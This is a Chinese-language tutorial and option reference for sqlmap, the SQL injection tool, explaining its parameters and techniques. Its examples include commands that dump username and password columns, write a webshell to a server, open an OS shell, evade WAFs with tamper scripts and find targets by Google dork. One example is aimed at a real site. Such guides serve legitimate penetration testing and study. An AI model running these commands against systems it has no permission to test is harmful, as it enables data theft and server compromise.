sqlmap 详解


sqlmap 官网:http://sqlmap.org/

sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage

sqlmap用户手册详解实用版:http://www.vuln.cn/2035

手动sql 注入:http://blog.csdn.net/u011781521/article/details/53959201

sqlmap注入之tamper绕过WAF(Web Application firewall)防火墙过滤:http://www.vuln.cn/2086


http://blog.csdn.net/zgyulongfei/article/details/41017493/        http://www.freebuf.com/articles/web/29942.html

乌云镜像:http://www.anquan.us/search?keywords=sqlmap&content_search_by=by_drops

注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。


sqlmap使用 思维导图:http://download.csdn.net/detail/freeking101/9887831

sqlmap 参数

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.1.3#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

Usage: python sqlmap [options]

Options(选项):
  -h, --help            显示基本帮助信息
  -hh                   显示高级帮助信息
  --version             显示版本号
  -v VERBOSE            详细级别:0-6(默认为1).设置输出信息的详细程度
                        0:只显示追踪栈 ,错误以及重要信息。1:还显示信息和警告。2:显示debug消息。3:显示注入payload。
                        4:显示HTTP请求。5:显示HTTP响应头。6:显示HTTP响应内容

  Target(目标):
    以下至少需要设置其中一个选项来提供给目标URL
    -d DIRECT           直接连接到数据库的连接字符串。
    -u URL, --url=URL   目标 URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          从Burp或WebScarab代理的日志中解析目标
    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file           从远程站点地图文件(.xml)解析目标(s)
    -m BULKFILE         Scan multiple targets given in a textual file            扫描文本文件中给出的多个目标  
    -r REQUESTFILE      Load HTTP request from a file                            从文件加载HTTP请求  
    -g GOOGLEDORK       Process Google dork results as target URLs               处理Google dork的结果作为目标URL
    -c CONFIGFILE       Load options from a configuration INI file               从INI配置文件中加载选项。  

  Request(请求):
    这些选项可以用来指定如何连接到目标URL。
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)               强制使用给定的HTTP方法(e.g. PUT)  
    --data=DATA         Data string to be sent through POST                       通过POST发送的数据字符串  
    --param-del=PARA..  Character used for splitting parameter values             用于拆分参数值的字符  
    --cookie=COOKIE     HTTP Cookie header value                                  HTTP Cookie头的值  
    --cookie-del=COO..  Character used for splitting cookie values                用于分割Cookie值的字符  
    --load-cookies=L..  File containing cookies in Netscape/wget format           包含Netscape / wget格式的cookie的文件 
    --drop-set-cookie   Ignore Set-Cookie header from response                    从响应中忽略Set-Cookie头  
    --user-agent=AGENT  HTTP User-Agent header value                              指定 HTTP User - Agent头    
    --random-agent      Use randomly selected HTTP User-Agent header value        使用随机选定的HTTP User - Agent头
    --host=HOST         HTTP Host header value                                    HTTP主机头值 
    --referer=REFERER   HTTP Referer header value                                 指定 HTTP Referer头 
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")          额外header  
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")     额外header  
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)     HTTP认证类型(Basic, Digest, NTLM or PKI) 
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)           HTTP认证凭证(name:password)  
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file             HTTP认证 PEM认证/私钥文件  
    --ignore-401        Ignore HTTP Error 401 (Unauthorized)                      忽略HTTP错误401(未经授权)  
    --ignore-proxy      Ignore system default proxy settings                      忽略系统默认代理设置 
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL                  使用代理连接到目标网址  
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)          代理认证证书(name:password)   
    --proxy-file=PRO..  Load proxy list from a file                               从文件中加载代理列表  
    --tor               Use Tor anonymity network                                 使用Tor匿名网络  
    --tor-port=TORPORT  Set Tor proxy port other than default                     设置Tor代理端口而不是默认值  
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))     设置Tor代理类型  
    --check-tor         Check to see if Tor is used properly                      检查Tor是否正确使用
    --delay=DELAY       Delay in seconds between each HTTP request                每个HTTP请求之间的延迟(秒)
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)    秒超时连接前等待(默认30) 
    --retries=RETRIES   Retries when the connection timeouts (default 3)          连接超时时重试(默认值3)
    --randomize=RPARAM  Randomly change value for given parameter(s)              随机更改给定参数的值(s) 
    --safe-url=SAFEURL  URL address to visit frequently during testing            在测试期间频繁访问的URL地址 
    --safe-post=SAFE..  POST data to send to a safe URL                           POST数据发送到安全URL  
    --safe-req=SAFER..  Load safe HTTP request from a file                        从文件加载安全HTTP请求  
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL      在两次访问给定安全网址之间测试请求
    --skip-urlencode    Skip URL encoding of payload data                         跳过有效载荷数据的URL编码  
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token                    参数用于保存anti-CSRF令牌  
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token           提取anti-CSRF URL地址访问令牌  
    --force-ssl         Force usage of SSL/HTTPS                                  强制使用SSL / HTTPS    
    --hpp               Use HTTP parameter pollution method                       使用HTTP参数pollution的方法 
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.    评估请求之前提供Python代码  
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization(优化):
    这些选项可用于优化SqlMap的性能。

    -o                  打开所有优化开关
    --predict-output    预测常见的查询输出
    --keep-alive        使用持久的HTTP(S)连接
    --null-connection   从没有实际的HTTP响应体中检索页面长度
    --threads=THREADS   最大的HTTP(S)请求并发量(默认为1)

  Injection(注入):
    这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

    -p TESTPARAMETER    可测试的参数(S)
    --skip=SKIP         Skip testing for given parameter(s)    跳过对给定参数的测试  
    --skip-static       Skip testing parameters that not appear to be dynamic    跳过测试不显示为动态的参数  
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")    使用正则表达式排除参数进行测试(e.g. "ses")
    --dbms=DBMS         强制后端的DBMS为此值
    --dbms-cred=DBMS..  DBMS认证凭证(user:password)   
    --os=OS             强制后端的DBMS操作系统为这个值
    --invalid-bignum    使用大数字使值无效  
    --invalid-logical   使用逻辑操作使值无效  
    --invalid-string    使用随机字符串使值无效  
    --no-cast           Turn off payload casting mechanism    关闭有效载荷铸造机制  
    --no-escape         Turn off string escaping mechanism    关闭字符串转义机制  
    --prefix=PREFIX     注入payload字符串前缀
    --suffix=SUFFIX     注入payload字符串后缀
    --tamper=TAMPER     使用给定的脚本(S)篡改注入数据

  Detection(检测):
    这些选项可用于自定义检测阶段。即这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

    --level=LEVEL       执行测试的等级(1-5,默认为1)
    --risk=RISK         执行测试的风险(0-3,默认为1)
    --string=STRING     查询有效时,在页面匹配字符串。即当查询被评估为True时,字符串匹配
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     查询有效时,在页面匹配正则表达式
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         仅基于在文本内容比较网页
    --titles            Compare pages based only on their titles    仅根据他们的标题进行比较

  Techniques(技巧):
    这些选项可用于调整具体的SQL注入测试。

    --technique=TECH    SQL注入技术测试(默认BEUST)
    --time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection    定列范围用于测试UNION查询注入  
    --union-char=UCHAR  Character to use for bruteforcing number of columns       用于暴力猜解列数的字符  
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection    要在UNION查询SQL注入的FROM部分使用的表
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack              域名用于DNS漏出攻击 
    --second-order=S..  Resulting page URL searched for second-order response     生成页面的URL搜索为second-order响应  

  Fingerprint(指纹):
    -f, --fingerprint   Perform an extensive DBMS version fingerprint。 执行检查广泛的DBMS版本指纹

  Enumeration(枚举):
    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner                      //检索数据库管理系统的标识
    --current-user      Retrieve DBMS current user                // 检索数据库管理系统当前用户
    --current-db        Retrieve DBMS current database            //检索数据库管理系统当前数据库
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA    //检测DBMS当前用户是否DBA
    --users             Enumerate DBMS users                      //枚举数据库管理系统所有的用户
    --passwords         Enumerate DBMS users password hashes      //枚举数据库管理系统用户密码哈希
    --privileges        Enumerate DBMS users privileges           //枚举数据库管理系统用户的权限
    --roles             Enumerate DBMS users roles                //枚举数据库管理系统用户的角色
    --dbs               Enumerate DBMS databases                  //枚举数据库管理系统所有数据库
    --tables            Enumerate DBMS database tables            //枚举的DBMS数据库中所有的表
    --columns           Enumerate DBMS database table columns     //枚举DBMS数据库表所有的列
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries          //转储数据库管理系统的数据库中的表项
    --dump-all          Dump all DBMS databases tables entries    //转储所有的DBMS数据库表中的条目
    --search            Search column(s), table(s) and/or database name(s)    //搜索列(S),表(S)和/或数据库名称(S)
    --comments          Retrieve DBMS comments
    -D DB               DBMS database to enumerate                               // 要进行枚举的指定数据库名
    -T TBL              DBMS database table(s) to enumerate                      // 要进行枚举的指定数据库表(如:-T tablename –columns)
    -C COL              DBMS database table column(s) to enumerate               //要进行枚举的数据库列
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate
    -U USER             DBMS user to enumerate                                   //用来进行枚举的数据库用户
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables    //枚举表时排除系统数据库
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First query output entry to retrieve                //第一个查询输出进入检索
    --stop=LIMITSTOP    Last query output entry to retrieve                 //最后查询的输出进入检索
    --first=FIRSTCHAR   First query output word character to retrieve       //第一个查询输出字的字符检索
    --last=LASTCHAR     Last query output word character to retrieve        //最后查询的输出字字符检索
    --sql-query=QUERY   SQL statement to be executed                        //要执行的SQL语句
    --sql-shell         Prompt for an interactive SQL shell                 // 提示交互式SQL的shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force(野蛮、蛮力):
    这些选项可以被用来运行蛮力检查。

    --common-tables     Check existence of common tables    // 检查存在共同表
    --common-columns    Check existence of common columns   // 检查存在共同列

  User-defined function injection(用户自定义函数注入):
    这些选项可以用来创建用户自定义函数。

    --udf-inject        Inject custom user-defined functions  // 注入用户自定义函数
    --shared-lib=SHLIB  Local path of the shared library      // 共享库的本地路径

  File system access(访问文件系统):
    这些选项可以被用来访问后端数据库管理系统的底层文件系统。

    --file-read=RFILE   Read a file from the back-end DBMS file system          // 从后端的数据库管理系统文件系统读取文件
    --file-write=WFILE  Write a local file on the back-end DBMS file system     // 编辑后端的数据库管理系统文件系统上的本地文件
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to             // 后端的数据库管理系统写入文件的绝对路径

  Operating system access(操作系统访问):
    这些选项可以用于访问后端数据库管理系统的底层操作系统。

    --os-cmd=OSCMD      执行操作系统命令
    --os-shell          Prompt for an interactive operating system shell          // 交互式的操作系统的shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC               // 获取一个OOB shell,meterpreter或VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC     // 一键获取一个OOB shell,meterpreter或VNC
    --os-bof            Stored procedure buffer overflow exploitation             // 存储过程缓冲区溢出利用
    --priv-esc          Database process user privilege escalation                // 数据库进程用户权限提升
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed        // Metasploit Framework本地的安装路径
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory         // 远程临时文件目录的绝对路径

  Windows registry access(Windows注册表访问):
    这些选项可以被用来访问后端数据库管理系统Windows注册表。

    --reg-read          读一个Windows注册表项值
    --reg-add           写一个Windows注册表项值数据
    --reg-del           删除Windows注册表键值
    --reg-key=REGKEY    Windows注册表键
    --reg-value=REGVAL  Windows注册表项的值
    --reg-data=REGDATA  Windows注册表键值数据
    --reg-type=REGTYPE  Windows注册表项值类型

  General(一般,通用,基本):
    这些选项可以用来设置一些一般的工作参数。

    -s SESSIONFILE      Load session from a stored (.sqlite) file               保存和恢复检索会话文件的所有数据  
    -t TRAFFICFILE      Log all HTTP traffic into a textual file                记录所有HTTP流量到一个文本文件中  
    --batch             Never ask for user input, use the default behaviour     从不询问用户输入,使用所有默认配置。
    --binary-fields=..  Result fields having binary values (e.g. "digest")      具有二进制值的结果字段  
    --charset=CHARSET   Force character encoding used for data retrieval        强制用于数据检索的字符编码
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL          从目标网址开始抓取网站
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")   正则表达式排除网页抓取 
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")   分隔CSV输出中使用的字符
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)   转储数据的格式
    --eta               Display for each output the estimated time of arrival   显示每个输出的预计到达时间
    --flush-session     Flush session files for current target                  刷新当前目标的会话文件  
    --forms             Parse and test forms on target URL                      在目标网址上解析和测试表单
    --fresh-queries     Ignore query results stored in session file             忽略在会话文件中存储的查询结果
    --hex               Use DBMS hex function(s) for data retrieval             使用DBMS hex函数进行数据检索  
    --output-dir=OUT..  Custom output directory path                            自定义输出目录路径  
    --parse-errors      Parse and display DBMS error messages from responses    解析和显示响应中的DBMS错误消息
    --save=SAVECONFIG   Save options to a configuration INI file                保存选项到INI配置文件  
    --scope=SCOPE       Regexp to filter targets from provided proxy log        使用正则表达式从提供的代理日志中过滤目标
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)       根据有效负载和/或标题(e.g. ROW)选择测试
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)   根据有效负载和/或标题跳过测试(e.g. BENCHMARK)  
    --update            Update sqlmap                                           更新SqlMap  

  Miscellaneous(杂项):
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")          使用简短的助记符 
    --alert=ALERT       Run host OS command(s) when SQL injection is found       在找到SQL注入时运行主机操作系统命令 
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")            设置问题答案  
    --beep              发现SQL注入时提醒
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables    SqlMap具体的UDF和表清理DBMS 
    --dependencies      Check for missing (non-core) sqlmap dependencies         检查是否缺少(非内核)sqlmap依赖关系
    --disable-coloring  Disable console output coloring                          禁用控制台输出颜色 
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number       使用Google dork结果指定页码  
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection     对WAF / IPS / IDS保护进行全面测试  
    --mobile            Imitate smartphone through HTTP User-Agent header 
    --offline           Work in offline mode (only use session data)             在离线模式下工作(仅使用会话数据)  
    --purge-output      Safely remove all content from output directory          安全地从输出目录中删除所有内容  
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection       跳过启发式检测WAF / IPS / IDS保护 
    --smart             Conduct thorough tests only if positive heuristic(s)     只有在正启发式时才进行彻底测试  
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users               给初级用户的简单向导界面


sqlmap简介

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

sqlmap

当给sqlmap这么一个url的时候,它会:
        1、判断可注入的参数
        2、判断可以用那种SQL注入技术来注入
        3、识别出哪种数据库
        4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库

        sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB


目标

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

Youtube上有人做的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可以使用git来获取sqlmap

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。

检测注入

基本格式( URL 需要使用 英文双引号 引起来 )

sqlmap -u "http://www.vuln.cn/post.php?id=1"                            //默认使用level1检测全部数据库类型
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level=3     //指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)



跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u "http://www.baidu.com/shownews.asp" --cookie="id=11" --level 2     (只有level达到2才会检测cookie)

从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql     指定username参数

注入成功后

获取数据库基本信息

sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs                          查询有哪些数据库
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables               查询test数据库中有哪些表
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns     查询test数据库中admin表有哪些字段
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump   dump出字段username与password中的数据


从数据库中搜索字段

sqlmap -r "c:\tools\request.txt" --dbms=mysql -D dedecms --search -C admin,password    在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

--file-read=RFILE    从后端的数据库管理系统文件系统读取文件 (物理路径)
--file-write=WFILE   编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r "c:\request.txt" -p id --dbms=mysql --file-dest="e:\php\htdocs\dvwa\inc\include\1.php" --file-write "f:\webshell\1112.php"

使用shell命令:

sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell
接下来指定网站可写目录:
"E:\php\htdocs\dvwa"

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

——————————————————————————————————

sqlmap用户手册

获取目标方式

目标URL

参数:-u或者--url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

本地测试结果截图


也可以从Burp或者WebScarab代理中获取日志

参数:-l

可以直接把 Burp proxy 或者 WebScarab proxy 中的日志直接倒出来交给 sqlmap 来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
从文件中加载HTTP请求

参数:-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

比如文本文件内如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后面加上:443


处理Google的搜索结果

参数:-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)

例子:

python sqlmap.py -g "inurl:\".php?id=1\""

(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)。此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

请求

http数据

参数:--data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

参数拆分字符

参数:--param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:--referer

sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:--headers

可以通过--headers参数来增加额外的http头

HTTP认证保护

参数:--auth-type,--auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:1、Basic 。2、Digest 。3、NTLM

例子:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议的证书认证

参数:--auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数:--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式为:http://url:port。

当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。

--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:--delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:--timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:--retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:--randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:--scope

例如:python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

参数:--safe-url,--safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
关掉URL参数值编码

参数:--skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用--skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:--eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

例子:python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

注入

测试参数

参数:-p,--skip

sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"   当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。
例如:--skip="user-angent.referer"
在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

例如:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:--dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:--os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:--invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:--invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:--prefix,--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix和--suffix参数了:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的数据

参数:--tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
    '''
    Description of your tamper script
    '''
    retVal = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本. 例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

探测

探测等级

参数:--level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:--string,--not-string,--regexp,--code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。

参数:--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only(HTTP响应体中不同)--titles(HTML的title标签中不同)

注入技术

测试是否是注入

参数:--technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
设定延迟注入的时间

参数:--time-sec

